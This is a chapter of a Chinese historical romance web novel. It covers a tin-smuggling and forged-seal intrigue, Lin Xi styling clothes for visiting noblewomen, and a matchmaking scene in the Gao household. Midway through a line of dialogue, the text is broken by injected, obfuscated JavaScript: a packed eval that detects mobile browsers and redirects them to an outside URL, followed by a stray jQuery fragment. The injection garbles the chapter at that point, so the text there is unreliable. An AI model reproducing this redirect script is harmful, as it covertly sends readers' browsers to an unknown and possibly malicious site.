60.燕归巢
作品:《青丝染霜华》 夜影贴着梁上冻木,下方铜炉腾起的热浪里,少府监陈襄正捧着一方新铸的颍州刺史印。
“大人,旧印今夜将全部熔煅,但按旧例,熔印废料该送入太庙铸钟……”他正犹豫着翻开账册,便被阴影里的声音喝断。
“蠢材!少府锡料账目与太庙编钟重量相左,将带来多大的隐患!”
林怀山捻着胡须踱到炉前,“明日你去靛行找曹掌柜,就说今冬江南染布需添明矾固色。”
“可明矾与锡何干?”陈襄愣怔。
“靛行名义上购明矾,实为往北魏走私锡矿,染坊每日消耗百斤明矾,夹带些许谁看得出?”
林怀山冷笑,“等开春雪化,新引出炉,剩下的……”
陈襄抹去脸上的汗珠,“可按宋律官印铜六锡三铅一,若增至锡三成半”
“所以本官才让你以修缮太庙编钟之名,从少府寺调锡。”林怀山指尖敲打案上账册,“腊月祭天需用钟磬,多报三成损耗便是”。
刘谦赤袍玉带立在院中,掌中托着着夜影盗出的锡锭残片,“少府铸印铜锡配比是祖制,林怀山敢增锡半成,定是为让假印与真印蚀后锈色一致。”
御风展开一卷账册,“工部存档显示,今冬修缮太庙编钟居然申领了九百斤。”
“再厚重的编钟也未必吃得下九百斤!前有铜矿造私币,后用锡矿难道是铸兵器?”
夜影点头,“假印何需百斤?一方刺史印不过耗锡三斤!”
雕花门外忽然响起脚步声,林溪映雪而来,“王爷,漏算了腊月染坊耗锡量。”
刘谦眼神骤亮,“少府每月拨给靛行的锡料不过十斤,用于调配金线染料,但我偷看过市籍司记录。”
她取出一张染行票据,“仅腊月这半月,建康十家染坊竟领了三百斤。”
“染坊要这么多锡作甚?”刘谦蹙眉。
“锡可制明矾,而明矾能固色。”
“单凭账册和票据不能妄下断言,一切都是猜测。”
“王爷可知染一匹绢用多少明矾?”林溪望向他手中锡料,“十斤锡炼三斤明矾,染百匹绢,可今冬建康染绢不过三万匹,王爷可算的清?”
“多出的二百斤,恐怕早已挪作他用。”
林溪从袖中抽出一卷靛行契书,“我以青丝坊的名义买断扬州所有皂矾,锡矿既已挪作他用,那么皂矾便是唯一的替代,想必我能借此大赚一笔。”
“如有人前来抢购便可证实我的猜想,不知王妃会分我几成?”
“王爷”她拨开抚上脸颊的手,“与其与我计较这几分几厘,不如尽早派人去守着城门,也许会有收获。”
话音未落,夜影御风已经消失在夜色中。
她低头看两人交叠的掌心,“王爷当初说过各取所需,如今可还作数?”
他的目光锁在她腰间红玦,“大仇未报前说这些是不是太无趣了?除了合离我什么都答应。”
晨起的霞光映进青丝坊的窗棂,黄花梨木柜前摆着新到的蜀锦,账房手中托着账本,“东家,这个月的账目,您过目。”
回身时,街角闪过一抹熟悉的身影,林溪注目,看清那是沈清月贴身侍女银屏,正鬼鬼祟祟钻进后巷。
她唤来伙计,“跟着绿衣女子,去瞧瞧。”玄鹰卫随后离去。
“姑娘,难得您来,刚从胡商手里底价盘下的料子,您给长长眼。”夏蔓春一身素衣,浅笑盈盈。
“你可有熟识的商行老板?帮我打听一下明矾行情,咱们多收一些。”
“姑娘要明矾何用?咱们有足够的存货。”
林溪搭上眼前青色纱衣,衬在光下映出色泽,“还是你的眼光好,这软绣罗的料子春日刚好用上,倒是替我省了不少钱。”
“东家,有贵客到了,是顾家的夫人带着府上小姐前来光顾。”伙计音近,引进女客。
“早闻青丝坊的衣裳别具匠心。”顾夫人环顾院中四周,最后把目光落在林溪身上,“今日带小女们来讨个巧。”
林溪福身见礼,目光扫过四人服饰穿戴,“夫人这身孔雀罗大衫用了烫金线锁边,倒与今春宫里新贡的雨过天青釉相映成趣。”
顾夫人眼底已浮笑意,“姑娘眼光独到,这正是我特意仿色定制的衫子。”
“不知几位可有喜欢的花纹图样?”她拱手将人请入房中,随手点燃香料。
“不如就请姑娘给些建议?”烟雾缭绕,香气扑鼻,正是头茬的国山茶。
“想必这位是大姑娘吧,姑娘可常赴诗会?”林溪执尺量过少女襟长,“上月谢家赏梅宴上,有位娘子穿桑榆遍地袄裙,倒把满园红梅衬得失色。”
大小姐顾青瑶耳垂微红,“母亲总说女儿穿得太素。”
“素净方显玉骨。”她展开一匹流沙缎,“此料名唤一捧雪,以银线织就焰纹,日光下似薄雪覆青竹,袖口再缀两寸珍珠纱,合姑娘的咏絮之才。”
顾夫人轻扣茶盏,“这一捧雪的名目起得妙。”
顾青辞正在茜色杭绸前犹豫,林溪却含笑摇头,“二姑娘眉间英气甚浓,不如这试试这件。”
衣架上滑出一袭绯色骑装,箭袖处的银丝盘成团锦纹,“前日靖国公府马球场上,十公主便是这般打扮。”
“连珠纹样倒是新奇。”二小姐眼波乍亮,轻抚衫面。
“是西域传来的宝相花,绣娘们改了样式。”林溪打开衣襟暗袋,“此处可藏袖箭,姑娘秋狩时最合宜。”
四小姐早扑到一匣子琉璃纽扣前,林溪执起枚雀卵大的海蓝宝石,“此物缀在杏子黄衫上,恰到好处。”
她取过一对累丝蝴蝶压在襟前,“再配上这个,管叫贵族公子哥儿们诗会的帖子追着您飞。”
少女颊生红晕,顾夫人笑骂,“小猢狲可算有人治了!”却不忘叮嘱,“这蝴蝶须做得再精巧些。”
最后捧出的檀木匣中,叠着件沉香色缂丝长衫。
“夫人请看这襟口。”林溪引她对着天光,“以雀头龟背,鹤颈苍松四物相合,绣娘用锁绣针法将万字纹锁在其中,远观是古朴素面,近看方可瞧出暗藏之意。”
顾夫人有些爱不释手,展颜道,“果然还是你懂人心。”
“夫人谬赞。”林溪奉上八角形木匣,“这是用鹧鸪茶混着栀子做的熏衣料,倒比熏笼更轻便耐久些。”
酉时末,黄昏散,林溪捧着食盒立在门前,刘谦正批阅北境军报,忽闻脚步声响。
“王爷,今日银屏跟到青丝坊,玄鹰卫发现她回了云霞染坊,这沈家当真是深藏不露,云霞是全建康城最大的染坊,郊外的众多茶庄也都是沈家产业,要恭喜王爷娶到至宝。”盒中小菜精致可口,落于眼前。
“你是专程来打趣我的吗?”
“侍卫们跟到城郊清月茶庄,地面上的车痕不似一般轻物,两匹马儿累的直喘。”
“洛雨。”
侍卫闷声而入,“王爷,是唤属
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609852|165199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下来用饭的吗?”眼神直勾勾的钉在案几上。
“少废话,入夜后去城郊清月茶庄,好好翻一番里面都藏了什么好东西。”
林溪刚跨进门,便听见高母中气十足的嗔怪,“我这把老骨头若不病着,怕是见不到你喽!”
窗棂透进灰蒙蒙的天光,林溪瞧着榻上红光满面的老夫人,故意将药箱搁得震天响,“上月施针时您还嫌我手重,今日倒舍得让我来?”
“手重总比心硬强!”高母拍着榻几上堆成山的草药,“青儿从幽州捎的药材都生虫了,也没见你来挑拣。”
廊下忽有佩剑撞柱,高青搏拎着沾露的春笋僵在门边,林溪瞥见他黄色衣袖里露出粉色绣帕。
“娘又拿我说事?”高青搏耳岔开话题,“林姑娘且诊脉,前日太……”
“太医署开的补药都喂了池鱼!”高母突然掀开袖管,露出结实的臂膀,“自打你让我多走动,上月我能自个儿把青儿的配刀拎起来了!”
玲珑正偷拿桌上茶点的手一抖,“老夫人这力气,赶明儿能去东市摆擂!小姐,奴婢瞧着老夫人虽上了些许年纪,如今瘦下来倒显得有些风韵犹存,还……”
“玲珑,不许胡说!”
“还是这个丫头片子说话好听,爱听,爱听,走,咱们去用膳。”满屋哄笑时,高母抹了抹眼角,“若非我这病秧子拖累,青搏早该娶妻了。”
高母拽过儿子袖中绣帕抹泪。“高家门第虽不高,好歹也是……”她若有所思的看着手中帕子。
“娘!”高青搏急得手臂撞到书架,“孩儿随范尚书剿匪时伤了根基,不宜早娶。”
林溪搭在高母腕间的手撤回, “范丞上月还纳妾,我瞧着倒是龙精虎猛。倒是公子这帕子上绣紫云英,女儿家的物件儿。”
高青搏骤然起身间撞落搁在桌上的佩刀,玲珑拾起从刀鞘滑落的玉扣,“呀!小姐你瞧,这坠子好生精致,可怎么看也不像男子饰物。”
高母浑浊的眼骤然发亮,“青儿可是有了喜欢的姑娘?”
“我去田下的茶庄收账,”高青搏思索再三才吐口,“途中偶遇一男子对梦泽无理,所以便出手……”
玲珑将玉扣对着光细瞧,“呀,这上头刻着梦字呢!”
“玲珑丫头,快些还我。”高青搏赤红着脸将玉扣收好。“莫要再胡说了。”
“难道是高梦泽?靖襄侯之女?”林溪琢磨一阵,突然出声。
高母见儿子点头,“靖襄侯乃当朝一品,家事门第都不低,青儿可知那小姐之意?”
“原来害她犯心病之人便是你。”林溪夹起鱼腹塞入口中。
“别这样瞧我,一面之缘而已,前些时日我曾上门给高小姐面诊过,从丫鬟口中听到的。”
高青搏重重的叹了口气,“即便如此也无济于事,前些时日尚书令上门提亲,若我是高侯爷,也定会选那权倾朝野之人结亲。”
玲珑一听是林家,“尚书令怎么了,他家崽子是三条腿吗?别人家的儿郎也是好儿郎。”
高青博略有笑意,“婚姻大事父母之命在前,媒妁之言在后,又岂能容我们私定终身。”端起席间酒灌入肠中。
“这个浪荡败家子居然把眼睛盯在高姑娘身上,这高家上辈子也不知是做了什么孽!他从小就坏心肠,觊觎……”腰间传来剧痛,让她乖乖闭嘴。
“日后复诊之时,再替公子传信,说不定高小姐的喘症,正缺我这个送药的人呢。”